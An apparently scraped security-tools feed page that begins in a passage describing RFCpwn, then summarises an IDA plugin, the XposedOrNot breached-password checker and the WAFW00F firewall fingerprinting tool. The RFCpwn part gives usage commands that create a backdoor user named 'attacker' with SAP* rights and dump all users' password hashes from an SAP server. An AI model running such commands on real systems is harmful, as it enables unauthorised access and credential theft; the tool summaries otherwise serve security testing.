-exp EXPERIMENTAL - Dump BCODE / PASSCODE hashes

Examples
Ping - confirm connectivity
./RFCpwn.py -ip 192.168.200.253 -s 00 -c 000 -u RFCUser -p RFCPass -ping
Copy a users rights into a new dialog user. If -copy is not specified SAP* is used.
./RFCpwn.py -ip 192.168.200.253 -s 00 -c 000 -u RFCUser -p RFCPass -usercopy -user attacker -pw changeme1
Dump hashes from all users. option -exp for experimental bcode & passcode hashes.
./RFCpwn.py -ip 192.168.200.253 -s 00 -c 000 -u RFCUser -p RFCPass -dump 

Demo


Dsync - IDAPython Plugin That Synchronizes Disassembler And Decompiler Views

$
0
0

IDAPython plugin that synchronizes decompiled and disassembled code views.
Please refer to comments in the source code for more details.
Requires 7.2



XposedOrNot - Tool To Search An Aggregated Repository Of Xposed Passwords Comprising Of ~850 Million Real Time Passwords

$
0
0

XposedOrNot (XoN) tool is to search an aggregated repository of xposed passwords comprising of ~850 million real time passwords. Usage of such compromised passwords is detrimental to individual account security.

What is Xposed Passwords?
The main aim of this project is to give a free platform for the general public to check if their password is exposed and compromised.
This massive password collection is an accumulation of real passwords exposed in various data breaches around the world. Passwords are curated from exposed breaches like Collection #1, Yahoo, etc. Adding to that, passwords are also commonly exposed in "pastes" in pastebin.com. We have taken more than 40,000 such exposures and that is again added to this huge list.
The collated passwords are hashed with a highly secure hashing algorithm SHA-3 ( Keccak-512 ), and stored in a one way hash for verification. No passwords are stored in plain text and the process of checking anonymously is explained in detail in our blog post, 850 million passwords for free explaining the technical and operational controls enforced for enhancing the security posture. Feel free to go through the same.

How to install?
git clone https://github.com/Viralmaniar/XposedOrNot.git
cd XposedOrNot
pip install -r requirements.txt
python XposedorNot.py

How to interpret an output?
The output will consist of JSON output for easy reference. Primary reasons for giving an output in JSON instead of a yes/no is to ensure that this can be further used by people to develop and improve on the huge list of real time exposed passwords aggregated here.
Alright, the first element "anon" is added to all password hashes stored in XoN for enabling privacy conscious users to search as well. Second element "char" is a list of characteristics of the password, which can be further used for understanding the strength of the password to know if this will meet the requirements of applications in need. Many websites have policies on the use of selecting passwords based on number of characters, mixture of alphabets, numbers and special characters.
The following table explains a bit more about the characteristics in simple terms :
AlphabetDescription
DigitsCount of numbers
AlphabetsCount of alphabets
Special charsCount of special chars
LengthLength of the password
The last one "count" denotes the number of times, this password was observed in the collected xposed data breaches. For a comprehensive list of all xposed websites, please visit Xposed websites-XoN.
Also, one another point to note is the use of Keccak-512 hashing for searching and storing data in XoN. Traditional hashing algorithms like MD5 and SHA1 are currently deprecated and also considering the enormous number of records exposed, I have gone ahead with Keccak-512 hashes.
Yes, Keccak-512 is 128 characters long and it consumes more storage.
Two sample Keccak-512 hashes given for easy reference: test - 1e2e9fc2002b002d75198b7503210c05a1baac4560916a3c6d93bcce3a50d7f00fd395bf1647b9abb8d1afcc9c76c289b0c9383ba386a956da4b38934417789e pass - adf34f3e63a8e0bd2938f3e09ddc161125a031c3c86d06ec59574a5c723e7fdbe04c2c15d9171e05e90a9c822936185f12b9d7384b2bedb02e75c4c5fe89e4d4 Sample output on not finding the matching password hash:
 {
"Error": "Not found"
}

Collected Passwords timeline - thanks to DevaOnBreaches






Detailed list can be seen here: https://xposedornot.com/xposed

Questions?
Twitter: @ManiarViral
LinkedIn: https://au.linkedin.com/in/viralmaniar

Credit
XposedOrNot is maintained by DevaOnBreaches. Big thanks for creating an API for your service. You can connect with him at https://www.devaonbreaches.com/


WAFW00F v2.0 - Allows One To Identify And Fingerprint Web Application Firewall (WAF) Products Protecting A Website

$
0
0

The Web Application Firewall Fingerprinting Tool.
— From Enable Security

How does it work?
To do its magic, WAFW00F does the following:
  • Sends a normal HTTP request and analyses the response; this identifies a number of WAF solutions.
  • If that is not successful, it sends a number of (potentially malicious) HTTP requests and uses simple logic to deduce which WAF it is.
  • If that is also not successful, it analyses the responses previously returned and uses another simple algorithm to guess if a WAF or security solution is actively responding to our attacks.
For further details, check out the source code on our main repository.

What does it detect?
WAFW00F can detect a number of firewalls, a list of which is as below:
$ wafw00f -l


______
/ \
( W00f! )
\ ____/
,, __ 404 Hack Not Found
|`-.__ / / __ __
/" _/ /_/ \ \ / /
*===* / \ \_/ / 405 Not Allowed
/ )__// \ /
/| / /---` 403 Forbidden
\\/` \ | / _ \
`\ /_\\_ 502 Bad Gateway / / \ \ 500 Internal Error
`_____``-` /_/ \_\

~ WAFW00F : v2.0.0 ~
The Web Application Firewall Fingerprinting Toolkit

[+] Can test for these WAFs:

WAF Name Manufacturer
-------- ------------

ACE XML Gateway Cisco
aeSecure aeSecure
AireeCDN Airee
Airlock Phion/Ergon
Alert Logic Alert Logic
AliYunDun Alibaba Cloud Computing
Anquanbao Anquanbao
AnYu AnYu Technologies
Approach Approach
AppWall Radware
Armor Defense Armor
ArvanCloud ArvanCloud
ASP.NET Generic Microsoft
ASPA Firewall ASPA Engineering Co.
Astra Czar Securities
AzionCDN AzionCDN
Barikode Ethic Ninja
Barracuda Barracuda Networks
Bekchy Faydata Technologies Inc.
Beluga CDN Beluga
BinarySec BinarySec
BitNinja BitNinja
BlockDoS BlockDoS
Bluedon Bluedon IST
CacheWall Varnish
CacheFly CDN CacheFly
Comodo cWatch Comodo CyberSecurity
Chuang Yu Shield Yunaq
Cloudbric Penta Security
Cloudflare Cloudflare Inc.
Cloudfloor Cloudfloor DNS
Cloudfront Amazon
CrawlProtect Jean-Denis Brun
DataPower IBM
DenyALL Rohde & Schwarz Cyber Security
Distil Distil Networks
DOSarrest DOSarrest Internet Security
DotDefender Applicure Technologies
Edgecast Verizon Digital Media
Eisoo Cloud Firewall Eisoo
Expression Engine EllisLab
BIG-IP AppSec Manager F5 Networks
BIG-IP AP Manager F5 Networks
Fastly Fastly CDN
FirePass F5 Networks
FortiWeb Fortinet
Greywizard Grey Wizard
Huawei Cloud Firewall Huawei
HyperGuard Art of Defense
Imunify360 CloudLinux
Incapsula Imperva Inc.
IndusGuard Indusface
Instart DX Instart Logic
ISA Server Microsoft
Jiasule Jiasule
Ko na SiteDefender Akamai
KS-WAF KnownSec
KeyCDN KeyCDN
LimeLight CDN LimeLight
LiteSpeed LiteSpeed Technologies
Open-Resty Lua Nginx FLOSS
Oracle Cloud Oracle
Malcare Inactiv
MaxCDN MaxCDN
ModSecurity SpiderLabs
NAXSI NBS Systems
Nemesida PentestIt
NevisProxy AdNovum
NetContinuum Barracuda Networks
NetScaler AppFirewall Citrix Systems
Newdefend NewDefend
NexusGuard Firewall NexusGuard
NinjaFirewall NinTechNet
NullDDoS Protection NullDDoS
NSFocus NSFocus Global Inc.
OnMessage Shield BlackBaud
PerimeterX PerimeterX
PentaWAF Global Network Services
pkSecurity IDS pkSec
PowerCDN PowerCDN
Profense ArmorLogic
Puhui Puhui
Qiniu Qiniu CDN
Reblaze Reblaze
RSFirewall RSJoomla!
Sabre Firewall Sabre
Safe3 Web Firewall Safe3
Safedog SafeDog
Safeline Chaitin Tech.
SecKing SecKing
eEye SecureIIS BeyondTrust
SecuPress WP Security SecuPress
SecureSphere Imperva Inc.
Secure Entry United Security Providers
SEnginx Neusoft
ServerDefender VP Port80 Software
Shield Security One Dollar Plugin
Shadow Daemon Zecure
SiteGround SiteGround
SiteGuard Sakura Inc.
Sitelock TrueShield
SonicWall Dell
UTM Web Protection Sophos
Squarespace Squarespace
SquidProxy IDS SquidProxy
StackPath StackPath
Sucuri CloudProxy Sucuri Inc.
Teros Citrix Systems
Trafficshield F5 Networks
TransIP Web Firewall TransIP
URLScan Microsoft
UEWaf UCloud
Varnish OWASP
Viettel Cloudrity
VirusDie VirusDie LLC
Wallarm Wallarm Inc.
WatchGuard WatchGuard Technologies
WebARX WebARX Security Solutions
WebKnight AQTRONIX
WebLand WebLand
RayWAF WebRay Solutions
WebSEAL IBM
WebTotem WebTotem
West263 CDN West263CDN
Wordfence Defiant
WP Cerber Security Cerber Tech
WTS-WAF WTS
360WangZhanBao 360 Technologies
XLabs Security WAF XLabs
Xuanwudun Xuanwudun
Yundun Yundun
Yunsuo Yunsuo
Yunjiasu Baidu Cloud Computing
YXLink YxLink Technologies
Zenedge Ze nedge
ZScaler Accenture

How do I use it?
First, install the tools as described here.
For help you can make use of the --help option. The basic usage is to pass an URL as an argument. Example:
$  wafw00f https://example.org

______
/ \
( W00f! )
\ ____/
,, __ 404 Hack Not Found
|`-.__ / / __ __
/" _/ /_/ \ \ / /
*===* / \ \_/ / 405 Not Allowed
/ )__// \ /
/| / /---` 403 Forbidden
\\/` \ | / _ \
`\ /_\\_ 502 Bad Gateway / / \ \ 500 Internal Error
`_____``-` /_/ \_\

~ WAFW00F : v2.0.0 ~
The Web Application Firewall Fingerprinting Toolkit

[*] Checking https://example.org
[+] The site https://example.org is behind Edgecast (Verizon Digital Media) WAF.
[~] Number of requests: 2

How do I install it?
The following should do the trick:
python setup.py install

Final Words
Questions? Pull up an issue on GitHub Issue Tracker or contact me.
Pull requests, ideas and issues are highly welcome. If you wish to see how WAFW00F is being developed, check out the development board.
Some useful links:
Presently being developed and maintained by:


Viewing all 5816 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>